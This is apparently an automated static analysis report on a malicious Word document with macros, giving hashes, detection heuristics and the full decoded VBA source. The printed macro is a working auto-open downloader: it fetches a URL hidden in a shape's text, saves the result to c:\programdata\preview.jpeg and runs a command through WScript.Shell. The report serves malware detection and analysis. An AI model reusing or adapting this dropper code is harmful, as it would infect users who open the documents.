Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 495a677c450cca6e…

MALICIOUS

Office (OOXML)

111.2 KB Created: 2020-08-10 09:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 778e12c853fcb121cdc511dfe0504da0 SHA-1: c92394ab4b23b0f27bfb106635b9a44875a67d07 SHA-256: 495a677c450cca6eb68b29d7e9356292e1004471a1727547c2543b528d14e59f
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1036 Masquerading

The sample contains VBA macros that execute upon opening, leveraging WScript.Shell and CreateObject to download content from an embedded URL. The script reconstructs the URL from the document's shapes and saves the downloaded content to 'c:\programdata\preview.jpeg', likely as a second-stage payload. The use of AutoOpen and Shell() calls indicates a malicious intent to execute arbitrary code.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-9762344-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9762344-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ff37a4eb(afbe849f)
Set f8a0004c = CreateObject("wscript.shell")
Call f8a0004c.exec(afbe849f)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "eaa2ab34"
Sub AutoOpen()
Dim cbcbdc0e As New f5cfecd8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1645 bytes
SHA-256: 296f199f833920da924ee4bb1e12e73153f6f63b87664f64281a3a2fef263945
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "eaa2ab34"
Sub AutoOpen()
Dim cbcbdc0e As New f5cfecd8
Dim b5ad2cec As String
b5ad2cec = ActiveDocument.Shapes(1).AlternativeText
bdc76f9f = cbcbdc0e.f193999a(b5ad2cec)
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile(e4b1b4b6)
oFile.WriteLine c347ffcf(bdc76f9f)
oFile.Close
cbcbdc0e.ff37a4eb cdca172b
End Sub

Attribute VB_Name = "e578d659"
Function e4b1b4b6()
e4b1b4b6 = "c:\programdata\preview.jpeg"
End Function
Sub c5616e8b()
End Sub
Function c347ffcf(b88d4e38)
c347ffcf = StrConv(b88d4e38, 64)
End Function
Function cdca172b()
cdca172b = ActiveDocument.Shapes(1).Title + " " + e4b1b4b6
End Function

Attribute VB_Name = "f5cfecd8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function f193999a(f8630783)
Dim a4203b5f As Object
Set a4203b5f = New MSXML2.XMLHTTP60
a4203b5f.Open "GET", f8630783, False
a4203b5f.Send
'
With a4203b5f
f193999a = .responsebody
End With
End Function
Function ff37a4eb(afbe849f)
Set f8a0004c = CreateObject("wscript.shell")
Call f8a0004c.exec(afbe849f)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: d8f99a940a927dfaadc45fd1c602544d3d71cdfeae221a26f9c1a7b5a287ddaf
Detection
ClamAV: Doc.Malware.Generic-9762344-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.